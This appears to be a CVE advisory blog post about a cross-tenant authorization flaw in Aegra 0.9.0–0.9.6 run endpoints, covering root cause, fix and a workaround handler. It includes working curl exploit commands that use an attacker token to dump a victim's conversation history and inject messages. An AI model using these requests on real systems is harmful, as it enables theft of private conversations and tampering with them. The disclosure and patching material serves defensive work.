Listen to this Post
How the CVE works (technical breakdown):
- Aegra versions 0.9.0–0.9.6 lack authorization checks on run-creation endpoints.
- The framework delegates per‑resource policy to user‑defined `@auth.on` handlers.
- If no handler is registered, `handle_event()` returns `None` → default‑allow.
- Read endpoints (
/threads/...) add an SQL `user_id` filter, but write endpoints do not.
5. Three endpoints: `POST /threads/{thread_id}/runs`, `/runs/stream`, `/runs/wait`.
- Attacker (User A) obtains another user’s `thread_id` (UUID leaks via logs/URLs).
- User A sends a request to any affected endpoint with User B’s
thread_id. - The server does not verify that `thread_id` belongs to the authenticated user.
- Run is created under User B’s thread, attaching User A’s `user_id` as the runner.
- The run’s `output` field returns User B’s full checkpoint state (messages, data).
- Attacker can also inject arbitrary messages into User B’s conversation history.
- Streaming variant `/runs/stream` returns the entire `messages` array via the first SSE `values` frame – no graph execution needed.
- User B’s `GET /threads/{thread_id}/runs` does not list these runs because the run carries User A’s
user_id. - Thus the attacker’s activity is completely hidden from the victim.
- Stateless endpoints (
POST /runs,/runs/wait,/runs/stream) generate a fresh `thread_id` server‑side and are safe. - Fixed in 0.9.7 by adding SQL‑level `user_id == authenticated_user.identity` check on the three vulnerable endpoints.
- If mismatch, returns `404 Thread not found` (no existence leak).
- Workaround: register `@auth.on(“threads”, “create_run”)` handler to manually verify thread ownership.
- Root cause: default‑allow authorization model + missing SQL filter in
api/runs.py. - Credits: discovered by @JoJoTheBizarre, fixed by @victorjmarin & @jawhardjebbi.
dailycve form:
Platform: `LangGraph SDK`
Version: `0.9.0–0.9.6`
Vulnerability: `Cross‑tenant IDOR`
Severity: `Critical`
Date: `2024‑10‑01`
Prediction: `2024‑10‑20`
What Undercode Say:
List vulnerable endpoints
curl -X POST https://target/threads/{victim_thread_id}/runs \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"assistant_id": "some_id"}'
Stream to instantly dump victim’s entire message history
curl -X POST https://target/threads/{victim_thread_id}/runs/stream \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
-H "Accept: text/event-stream"
Inject a malicious message into victim’s thread
curl -X POST https://target/threads/{victim_thread_id}/runs \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
-d '{"input": {"messages": [{"role": "user", "content": "Injected by attacker"}]}}'
Exploit:
Attacker needs any valid user account + a victim’s `thread_id` (leaked via frontend, logs, or shared links). Send `POST /threads/{thread_id}/runs/stream` – the first SSE event returns the victim’s full conversation. No brute‑forcing required.
Protection from this CVE:
Upgrade to 0.9.7 immediately. If not possible, register a custom `@auth.on(“threads”, “create_run”)` handler that implements thread ownership validation. Example:
@auth.on("threads", "create_run")
async def enforce_thread_owner(ctx, value):
thread = await fetch_thread(value["thread_id"])
if thread.owner != ctx.user.identity:
raise HTTPException(404, "Thread not found")
Impact:
Complete cross‑tenant data breach. Attacker can read, modify, and inject messages into any user’s conversation history without detection. Affects all multi‑tenant Aegra/LangGraph deployments without custom auth handlers.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

